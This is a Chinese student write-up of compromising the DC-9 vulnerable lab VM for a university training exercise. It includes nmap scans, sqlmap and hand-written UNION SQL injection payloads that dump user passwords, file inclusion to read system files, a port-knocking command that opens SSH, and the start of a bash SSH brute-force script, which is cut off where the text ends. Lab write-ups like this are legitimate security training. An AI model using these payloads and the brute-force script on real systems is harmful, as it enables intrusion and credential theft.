大学实训要打的,记录一下。
环境搭建
网上下载DC-9靶机的ova镜像后用VMware打开导入虚拟机
端口扫描
- nmap -sV -A 192.168.6.132
复制代码 结果如下- Nmap scan report for 192.168.6.132
- Host is up (0.00056s latency).
- Not shown: 998 closed tcp ports (reset)
- PORT STATE SERVICE VERSION
- 22/tcp filtered ssh
- 80/tcp open http Apache httpd 2.4.38 ((Debian))
- |_http-title: Example.com - Staff Details - Welcome
- |_http-server-header: Apache/2.4.38 (Debian)
- MAC Address: 00:0C:29:85:ED:06 (VMware)
- Device type: general purpose
- Running: Linux 3.X|4.X
- OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
- OS details: Linux 3.2 - 4.14
- Network Distance: 1 hop
- TRACEROUTE
- HOP RTT ADDRESS
- 1 0.56 ms 192.168.6.132
复制代码 开放了80和22端口
漏洞测试&提权
从80端口开始
网站点进去一个个页面看,最后在search页面发现可能有sql注入。
search=1或者2返回空。
但是用万能密码返回了全部
把那个数据包复制下来sqlmap跑一下返回有6列- python sqlmap.py -r post_request.txt
复制代码
自己验证一下,确实是6列
search=1' union select 1,2,3,4,5,6--+
python sqlmap.py -r post_request.txt --current-db --tables --batch
这是sqlmap的payload:- Parameter: search (POST)
- Type: boolean-based blind
- Title: AND boolean-based blind - WHERE or HAVING clause
- Payload: search=1'||'1'='1' AND 4693=4693 AND 'tYwv'='tYwv
- Type: time-based blind
- Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
- Payload: search=1'||'1'='1' AND (SELECT 7698 FROM (SELECT(SLEEP(5)))KUYd) AND 'kvpr'='kvpr
- Type: UNION query
- Title: Generic UNION query (NULL) - 6 columns
- Payload: search=1'||'1'='1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7176717671,0x447567446a486f7245594f79794b4261574765654b6e4d4e51427470564f59755348746c75516163,0x717a627071),NULL,NULL-- -
复制代码 现在手工注入拿用户细节表的数据
先看列有哪些- search=0'||'1'<>'1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(column_name),NULL,NULL FROM information_schema.COLUMNS WHERE table_schema='users' AND table_name='UserDetails'--+
复制代码
拿密码- search=0' UNION ALL SELECT NULL,firstname,lastname,username,NULL,password FROM users.UserDetails--+
复制代码
但是这些密码一个都登录不成功。
把请求数据包放txt中,先拖库保存到文件,可能以后有用。
python sqlmap.py -r request.txt --batch -D users -T UserDetails --dump
这里还有一个Staff.Users表,也查一下看看。
查到admin密码
解密后去manage.php登录
welcome.php报错File dose not exist,可能存在文件包含漏洞。
猜测传参是file
可以读取文件,之前扫到22端口,读取/etc/ssh/ssh_config看看
没啥有用信息,但是扫到22端口是filter状态,说明可能使用了knock服务
参考文章https://www.cnblogs.com/xiaoxiaoleo/p/8523322.html
读取/etc/knockd.conf:
用nmap打开端口。虽然文章说nc和telnet都可以打开,但是我试过了却不行,不知道为什么。- for port in 7469 8475 9842; do nmap -Pn --host-timeout 100ms --max-retries 0 -p $port 192.168.6.132; done
复制代码 执行该命令后再次扫描,看到22端口变成open了。
尝试ssh登录。之前保存有users.UserDetails的内容,现在拿来用,因为之前读取的/etc/passwd中出现的用户名和UserDetails表的用户名刚好有重合。
手工尝试了好几个都登录失败,我就不信所有都登录失败,于是写脚本
[code]#!/bin/bashif [ $# -ne 1 ]; then echo "用法: $0 " exit 1fiCSV_FILE="$1"TARGET_IP="192.168.6.132" # 目标服务器IP(直接硬编码避免重复修改)PORT=22TIMEOUT=10KNOWN_HOSTS=$(mktemp)# 检查依赖和文件if [ ! -f "$CSV_FILE" ]; then echo "文件不存在: $CSV_FILE"; exit 1; fiif ! command -v sshpass &> /dev/null; then echo "请安装sshpass"; exit 1; fi# 关键修复:使用while循环+文件描述符读取CSV,避免ssh读取剩余行while IFS=',' read -r id lastname password reg_date username firstname; do [ -z "$username" ] || [ -z "$password" ] && continue # 跳过空行或无效行 echo -e "\n----------------------------------------" echo "尝试登录: $username@$TARGET_IP" echo "----------------------------------------" # 使用 -t 强制分配伪终端,避免" seudo-terminal will not be allocated"警告 # 关键:将ssh的标准输入重定向到/dev/null,防止读取CSV文件剩余内容 sshpass -p "$password" ssh \ -t \ -o StrictHostKeyChecking=no \ -o UserKnownHostsFile="$KNOWN_HOSTS" \ -o ConnectTimeout="$TIMEOUT" \ -p "$PORT" \ "$username@$TARGET_IP" \ |